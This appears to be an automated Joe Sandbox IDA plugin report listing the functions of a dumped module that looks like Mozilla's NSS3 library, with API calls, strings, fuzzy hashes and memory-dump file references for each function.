Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 3263418105e5c63fdefeaf1dc57f5792e31eb4c189612c439572dadff114fa7c
Instruction ID: e12728a62c04568e3afb4d876d48513f7883300160da5feb0532c84294526642
Opcode Fuzzy Hash: 3263418105e5c63fdefeaf1dc57f5792e31eb4c189612c439572dadff114fa7c
Instruction Fuzzy Hash: 1441AFB1A05614CFCB00EFB9D88815DBBF4BF0A318F154679D8989B714EB30D895CB95

Function 6C648F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C64905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6490EC

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649111

Strings

nsl, xrefs: 6C6490A3

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nsl
API String ID: 2831689957-3778653006
Opcode ID: 4820f03977484360c031a8824f61fae53afe14a85c535c204679f20ea1584448
Instruction ID: 3a584d024c084f559e581ed064987654133bf8572fa66e211c821207f89d87ed
Opcode Fuzzy Hash: 4820f03977484360c031a8824f61fae53afe14a85c535c204679f20ea1584448
Instruction Fuzzy Hash: A7517A70A45215CFCB00EF38C588299BBF9BF0A319F1585B9DD449BB15EB30E884CB99

Function 6C737CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C737CE0

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737D36
PR_Realloc.NSS3(?,00000080), ref: 6C737D6D
PR_GetCurrentThread.NSS3 ref: 6C737D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C737DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737DD8
malloc.MOZGLUE(00000080), ref: 6C737DF8
PR_GetCurrentThread.NSS3 ref: 6C737E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C737DF0
:%s:%d:0x%lx, xrefs: 6C737DB9

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: bca7294b580bd5014bcfab2e2ed5b80b4094805a29f07232ed026f8445385eba
Instruction ID: 2dde5ac9c84ecf093485d78834f0be6a854b25e6810cfcd5e25e3fb84c3adf0a
Opcode Fuzzy Hash: bca7294b580bd5014bcfab2e2ed5b80b4094805a29f07232ed026f8445385eba
Instruction Fuzzy Hash: 6041C5B1910215DFDB04CF28CE8596B37AAFF85318B25456CE81D8BB52D731E901CBA5

Function 6C737E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C737E46

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C737EAF
PR_ImportFile.NSS3(?), ref: 6C737ECF
PR_GetCurrentThread.NSS3 ref: 6C737ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C737F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C737F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C737F15

Strings

%d:0x%lx, xrefs: 6C737EA9
NSPR_INHERIT_FDS, xrefs: 6C737E41

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 9a05519de56444ab1657016aba1138bab39bc0e097640180d511ca8e10fa6cf8
Instruction ID: 96c57ec6edfa8d0d1a462d947f3a831d6e38ead1bc3d9ae771c6106fd0d67802
Opcode Fuzzy Hash: 9a05519de56444ab1657016aba1138bab39bc0e097640180d511ca8e10fa6cf8
Instruction Fuzzy Hash: 8531457190413ADFDB00AB69CF84AABB7ACFF4A348F241535D80993A93E7319D05C795

Function 6C644E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C644E90
EnterCriticalSection.KERNEL32 ref: 6C644EA9
TlsGetValue.KERNEL32 ref: 6C644EC6
EnterCriticalSection.KERNEL32 ref: 6C644EDF
PL_HashTableLookup.NSS3 ref: 6C644EF8
PR_Unlock.NSS3 ref: 6C644F05
PR_Now.NSS3 ref: 6C644F13
PR_Unlock.NSS3 ref: 6C644F3A

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Strings

bUdl, xrefs: 6C644E5C
bUdl, xrefs: 6C644F3F

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUdl$bUdl
API String ID: 326028414-51985982
Opcode ID: 3b2e0163d132c9ad585bbdadcbd02511e91ef25f937cf129f9a24361c6df5e89
Instruction ID: 1e59fc0e025d9cfbc3821a501d260f133616228a8d2da347326ddb78014a56b5
Opcode Fuzzy Hash: 3b2e0163d132c9ad585bbdadcbd02511e91ef25f937cf129f9a24361c6df5e89
Instruction Fuzzy Hash: 03416BB4A04609DFCB00EF78C0848AABBF0FF89344B11C569EC999B714EB30E855CB95

Function 6C66ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C66DE64), ref: 6C66ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66ED22

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PL_FreeArenaPool.NSS3(?), ref: 6C66ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C66ED6B
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C66ED38

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C66ED52
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C66ED83
PL_FreeArenaPool.NSS3(?), ref: 6C66ED95
PL_FinishArenaPool.NSS3(?), ref: 6C66ED9D

Part of subcall function 6C6864F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C68127C,00000000,00000000,00000000), ref: 6C68650E

Strings

security, xrefs: 6C66ED06

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 4190d988db9cb021b2963619b13194e3c1865926b4ab5ab017fdedf6479ad858
Instruction ID: 56eb6cd63cbfa2118d350b8f7002db4c0494eb0083fe67f4112786ea2d6a1ec6
Opcode Fuzzy Hash: 4190d988db9cb021b2963619b13194e3c1865926b4ab5ab017fdedf6479ad858
Instruction Fuzzy Hash: 281127759022146BEA105667EC44BBF72B8BF4270DF000935E81562E41FB25A60C86FF

Function 6C730EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C612357), ref: 6C730EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C612357), ref: 6C730EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C730EE6

Part of subcall function 6C7309D0: PR_Now.NSS3 ref: 6C730A22
Part of subcall function 6C7309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C730A35
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C730A66
Part of subcall function 6C7309D0: PR_GetCurrentThread.NSS3 ref: 6C730A70
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C730A9D
Part of subcall function 6C7309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C730AC8
Part of subcall function 6C7309D0: PR_vsmprintf.NSS3(?,?), ref: 6C730AE8
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730B19
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730B48
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730C76
Part of subcall function 6C7309D0: PR_LogFlush.NSS3 ref: 6C730C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C730EFA

Part of subcall function 6C61AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C61AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F2B

Strings

Aborting, xrefs: 6C730EB3
Assertion failure: %s, at %s:%d, xrefs: 6C730ED9, 6C730EE5, 6C730F06, 6C730F0B

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 17febdd94b2e5e89bc2e6e4e30d07cc6dc3d70cebd9ea07444c88bc107688875
Instruction ID: f76d109661ba26248a2c20dbb1f135d969b8bd6484532fbdd40295aa701ba55f
Opcode Fuzzy Hash: 17febdd94b2e5e89bc2e6e4e30d07cc6dc3d70cebd9ea07444c88bc107688875
Instruction Fuzzy Hash: 4FF0AFF69002287BDA023B619E4EC9B3E2DDF8A265F044034FD0956602DA36E92497F2

Function 6C694DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C694DCB

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C694DE1

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C694DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C694E59

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C75300C,00000000), ref: 6C694EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C694EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C694F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C69521A

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: ac47e1d29a94a56db8fa37f3e2acb26c6a3ea726fa7be54e526676ff60f10e59
Instruction ID: 62e5db0a0bbccdbdc9d0479eccafcd20a15ff37aae8bb56040443ee0d915a1f8
Opcode Fuzzy Hash: ac47e1d29a94a56db8fa37f3e2acb26c6a3ea726fa7be54e526676ff60f10e59
Instruction Fuzzy Hash: 23F1AE71E0120ACFDB04CF54D8407AEB7B2BF85318F254229D915AB781EB75E982CF98

Function 6C624FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C770148,?,6C636FEC), ref: 6C62502A
PR_NewLock.NSS3(00000001,00000000,6C770148,?,6C636FEC), ref: 6C625034
PL_NewHashTable.NSS3(00000000,6C67FE80,6C67FD30,6C6CC350,00000000,00000000,00000001,00000000,6C770148,?,6C636FEC), ref: 6C625055
PL_NewHashTable.NSS3(00000000,6C67FE80,6C67FD30,6C6CC350,00000000,00000000,?,00000001,00000000,6C770148,?,6C636FEC), ref: 6C62506D

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: a95d4524aa79a18123b63dd57faa9fc26ae095afb99a7ece2c3e5b7f8e5ff3f3
Instruction ID: 5f22197dfa382370b3411b81d0dc851dc31975a4bd64cc99b6bbc6f1a652c6ab
Opcode Fuzzy Hash: a95d4524aa79a18123b63dd57faa9fc26ae095afb99a7ece2c3e5b7f8e5ff3f3
Instruction Fuzzy Hash: DD31D4B1F072209BEB209A658C4CB5777B8AB1778EF314535EB0597644D3788804CFEA

Function 6C5C2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5C2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5C2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5C3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5C30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5C3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5C3178

Strings

%s at line %d of [%.10s], xrefs: 6C5C3171
database corruption, xrefs: 6C5C316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5C3022, 6C5C3156, 6C5C3162, 6C5C318A, 6C5C3196, 6C5C31A2, 6C5C31AE, 6C5C31BA, 6C5C31C6

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: e29df04c10ccbded971ac01ea0ce69a5798b6efeb77f06e200c0f61c6438e545
Instruction ID: 2096ab9d8fea76be8cf5d19484368f6a62000e18e1ceffe635eb16fa21b6af40
Opcode Fuzzy Hash: e29df04c10ccbded971ac01ea0ce69a5798b6efeb77f06e200c0f61c6438e545
Instruction Fuzzy Hash: 80B18AB0E052199BCB08CFDDCC85AEEBBB1BB48304F14842DE849B7B45D774A945CBA1

Function 6C612D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C612D69

Strings

@sl, xrefs: 6C612E24
winTruncate2, xrefs: 6C612EF8
winUnmapfile2, xrefs: 6C612F7F
winTruncate1, xrefs: 6C612EBE
sl, xrefs: 6C612DD0
winUnmapfile1, xrefs: 6C612F55
winSeekFile, xrefs: 6C612E9C
Psl, xrefs: 6C612E74, 6C612EC5, 6C612F32, 6C612F5C

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: __allrem
String ID: @sl$Psl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$sl
API String ID: 2933888876-3430797899
